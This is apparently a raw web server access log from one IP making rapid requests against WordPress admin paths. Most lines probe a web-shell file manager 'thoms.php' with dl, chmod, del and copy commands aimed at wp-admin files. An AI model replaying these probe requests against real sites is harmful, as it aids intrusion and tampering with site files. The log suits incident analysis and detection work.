45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?dl=options-writing.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?chmod=update.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /biotaiwan.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?del=includes&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=includes&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?dl=load-scripts.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /biotaiwan.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /biotaiwan.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?del=css&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink-add.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink-add.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?chmod=media-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?chmod=options-permalink.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-writing.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-writing.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ftheme-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ftheme-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ftools.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ftools.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:37 -0400] "GET /thoms.php?del=admin-post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?dl=users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /biotaiwan.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?chmod=font-library.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /biotaiwan.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?del=user-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /biotaiwan.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?del=link-manager.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:38 -0400] "GET /thoms.php?dl=theme-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcomment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcomment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?del=admin-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?chmod=load-styles.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?dl=ms-themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?dl=link-add.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?dl=comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?dl=post-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?del=contribute.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?dl=credits.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?del=edit-comments.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fnav-menus.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fnav-menus.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /biotaiwan.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?dl=edit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?dl=options-discussion.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /biotaiwan.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /biotaiwan.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?del=tools.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=tools.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?del=admin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:40 -0400] "GET /thoms.php?del=load-styles.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?chmod=css&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /biotaiwan.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?chmod=network&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?del=edit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
